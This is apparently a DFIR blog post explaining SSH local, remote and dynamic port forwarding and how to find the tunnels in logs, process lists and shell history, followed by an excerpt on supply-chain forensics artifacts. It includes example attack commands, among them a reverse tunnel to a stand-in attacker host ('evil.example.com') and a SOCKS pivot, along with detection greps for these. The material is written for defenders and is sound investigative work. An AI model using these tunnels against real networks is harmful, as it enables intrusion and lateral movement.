Thursday, April 16, 2026

SSH Port Forwarding for DFIR Analysts

 SSH is one of the most trusted protocols in the tech industry for remote connections.  Which is exactly why attackers love it. Beyond remote shells, ssh ships with a built-in tunneling capability called port forwarding that can pivot traffic through a compromised host, expose an internal service to the internet, or push a reverse tunnel.  From a DFIR perspective, the good news is that these tunnels almost always leave a trail. 

This post is a practitioner's guide to the three forwarding modes explained, followed by the host-side artifacts and log sources to view when an SSH tunnel is suspected.

The Three Flavors of SSH Port Forwarding

All three modes create a TCP channel inside an already-authenticated SSH session. The encryption hides the payload from the wire, but the ssh events still surface in sshd logs and on disk.

1. Local Forwarding (-L) - "Bring it to me"

The client opens a listener on its own machine and forwards any traffic that hits it through the SSH session to a destination reachable from the server.

ssh -L 127.0.0.1:8000:10.0.0.25:3306 user@bastion.corp.local

Anyone who connects to localhost:8000 on the client reaches the internal MySQL server at 10.0.0.25:3306 via the bastion. Classic use case: reaching a database that was never supposed to be internet-exposed.

2. Remote Forwarding (-R) - "Punch a hole back to me"

The server opens the listener and forwards inbound traffic back through the tunnel to the client. This is the reverse-shell-friendly variant that bypasses egress-only firewalls.

ssh -R 0.0.0.0:4444:127.0.0.1:3389 user@evil.example.com

The attacker's VPS now listens on 4444; anything that hits it is funneled back to RDP on the compromised host. Note: binding beyond loopback requires GatewayPorts yes in sshd_config on the remote side - itself a red flag if you see it enabled.

3. Dynamic Forwarding (-D) - "Give me a SOCKS proxy"

Instead of a single forwarded port, -D turns the SSH session into a SOCKS proxy. An attacker points proxychains or a browser at it and reaches anything the SSH server can reach.

ssh -D 127.0.0.1:1080 -N -f user@bastion.corp.local

The -N flag suppresses command execution and -f backgrounds the session - a common "set it and forget it" pivot pattern worth fingerprinting.

Log Artifact Hunting

OpenSSH's sshd does not log port forwards by default at INFO level. To catch them, you need LogLevel VERBOSE (or higher) in /etc/ssh/sshd_config. Confirm this early in an investigation - its absence is itself a finding.

With verbose logging, the following lines appear in /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/Amazon Linux). On systemd hosts, query them directly:

journalctl -u ssh --since "24 hours ago" | grep -E "channel|forwarding|direct-tcpip"
Log signatureWhat it means
server_request_direct_tcpip: originator ... to host ... port ...Local or dynamic forward - the client asked the server to open an outbound channel.
server_input_global_request: rtype tcpip-forwardRemote forward - the client asked the server to bind a listener.
server_request_session: channel N followed by repeated channel N: newMultiple channels on one session - a strong tell for SOCKS-style -D usage.
Accepted publickey for ... from ... port ... followed by no interactive commandAuthenticated-but-silent session - common with -N -f.

In a SIEM, a simple starting hunt is any sshd event containing direct-tcpip or tcpip-forward. Pair that with the authenticating user and source IP, and you have a high-signal alert with low base-rate noise in most environments.

Host-Based Forensic Artifacts

Even if logs were never captured, forwarded SSH sessions leave fingerprints on disk and in memory. Prioritize these during triage:

Process arguments

The forwarding flags are passed on the command line and are visible in /proc/<pid>/cmdlineps auxf, or an EDR process tree. Any ssh invocation with -L-R-D, or -N -f deserves a second look. In live response:

ps -eo pid,user,cmd | grep -E "ssh .*-[LRD]"
ls -la /proc/*/exe 2>/dev/null | grep ssh

Network state

Listening sockets opened by forwards show up in ss -tnlp (or netstat -tnlp) bound to the expected local ports. Capture this output early - once the session dies, the listener disappears.

User shell history and SSH config

The shell history is often the single highest-yield artifact. 

Collect and grep for the ssh with the bad stuff:

grep -E "ssh .*-[LRD]|autossh|ProxyCommand" \
  /home/*/.bash_history /root/.bash_history /home/*/.zsh_history 2>/dev/null

Authorized keys and persistence

Attackers frequently pair tunnels with their own key in ~/.ssh/authorized_keys. Diff the file's mtime against known admin activity and validate every key's fingerprint against a trusted inventory. 

A Short Triage Checklist

  1. Confirm LogLevel in sshd_config; if not VERBOSE, note the gap.
  2. Pull auth.log/secure and grep for direct-tcpip and tcpip-forward.
  3. Snapshot psss -tnlp, and /proc/*/cmdline before the session closes.
  4. Collect shell histories, ~/.ssh/config, and authorized_keys for every human and service account.
  5. Correlate the suspect SSH session time windows

Closing Thoughts

SSH port forwarding is a legitimate tool that becomes an offensive capability the moment an attacker gets a valid credential. For the defender, the win is not blocking SSH - it is ensuring the tunnels are loud enough to hear. Turn up LogLevel, restrict AllowTcpForwarding where it is not needed, and build detections around the signals.

Recent Posts

Sunday, April 5, 2026

Supply Chain Attack Forensics: Artifact Reference

Supply chain attacks are now becoming more common as a vector for compromise.  And can be one of the hardest to investigate.  It is like an insider threat but the insider is software or code in the supply chain. 

Does it leave an artifact trail?  Yes, lets look at package managers, cache, and  logs. This post covers the artifact locations related to supply chain attacks, what forensic data they contain, and how to recover.


Package Manager Attacks

Package Manager Compromise — malicious code injected into PyPI, npm, RubyGems, NuGet, kefile rules, or compiler plugins

Package Manager Artifacts







Python / pip

Malicious PyPI packages typically execute at install time via setup.py, __init__.py, or setup.cfg hooks. The code runs with the installing user's permissions before the developer has reviewed a single line.

Key artifact locations:

Artifact Path Forensic Value
Installed package files ~/.local/lib/python3.x/site-packages/<pkg>/ Recover malicious source — often still on disk post-install
System-wide packages /usr/local/lib/python3.x/dist-packages/ Confirms system-level install vs. virtualenv
pip install log Explicit: pip install --log /tmp/pip.log <pkg> Install timestamp, version resolved, stdout from setup.py
pip cache ~/.cache/pip/ Wheel/sdist files cached at install time — source recovery even if package was yanked from PyPI
virtualenv metadata .venv/lib/python3.x/site-packages/<pkg>-*.dist-info/RECORD Cryptographic record of all files installed by the package
METADATA file <site-packages>/<pkg>-*.dist-info/METADATA Declared maintainer, homepage, version — compare against known-good

pip cache: The pip cache at ~/.cache/pip/ often retains the original wheel or source distribution even after a package has been removed from PyPI by the maintainer or registry. This is a good path to look for looking at malicious code after a takedown. Always image ~/.cache/pip/ 

What to examine in setup.py: Look for encoded payloads, subprocess, os.system, socket, urllib, or requests calls at module import or install time. Legitimate packages do not make outbound network connections during installation.







Node.js / npm and yarn

npm's postinstall lifecycle hook is the primary execution vector. Any package can declare a postinstall script in package.json that runs automatically during npm install — with no user prompt.

Key artifact locations:

Artifact Path Forensic Value
npm debug log ~/.npm/_logs/<timestamp>-debug-*.log Verbose install log: resolved versions, script execution, outbound requests
Installed package source node_modules/<pkg>/ Recover malicious JS — postinstall script often base64-encoded
Package lock package-lock.json or yarn.lock Records exact resolved version + integrity hash at time of install
npm cache ~/.npm/_cacache/ Cached tarballs — recoverable after package takedown
.npmrc Project root or ~/ May reveal custom registry redirects (dependency confusion indicator)

NPM package-lock: package-lock.json records the integrity field — a SHA-512 hash of the exact tarball that was downloaded. If a threat actor compromised a package after a prior clean install, the integrity hash in the lockfile will mismatch the hash of the malicious version. Comparing lockfile hashes against npm's public registry metadata is a fast triage step that doesn't require executing any code.

# Quick integrity check against current installed version
npm audit --json | python3 -m json.tool | grep -A2 "severity"

Other Package Ecosystems

Ecosystem Install Log / Cache Location Execution Vector
RubyGems (gem) ~/.gem/specs/, /var/lib/gems/ extconf.rb, gem extensions compiled at install
NuGet (.NET) %APPDATA%\NuGet\, ~/.nuget/packages/ MSBuild .targets files executed at build time
Maven (Java) ~/.m2/repository/ Plugin execution via pom.xml lifecycle phases
Go modules $GOPATH/pkg/mod/ init() functions; go:generate directives
Cargo (Rust) ~/.cargo/registry/, ~/.cargo/git/ build.rs scripts executed at compile time

Supply chain forensics is an evidence collection problem more than a malware analysis problem. The malicious code often runs once, quickly, and leaves minimal trace. But cache, logs, and package files can be our friend. 


Recent Posts